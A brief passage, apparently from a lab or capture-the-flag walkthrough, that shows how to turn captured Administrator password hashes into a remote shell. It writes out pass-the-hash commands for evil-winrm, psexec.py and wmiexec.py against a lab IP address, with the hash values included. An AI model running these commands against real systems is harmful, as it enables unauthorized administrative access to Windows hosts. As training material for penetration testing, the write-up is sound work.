With those hashes we can obtain a CMD using several tools, for example with Administrator:
evil-winrm -i 10.10.253.172 -u Administrator -H '0e0363213e37b94221497260b0bcb4fc'
psexec.py Administrator@10.10.253.172 -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
wmiexec.py Administrator@10.10.253.172 -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc
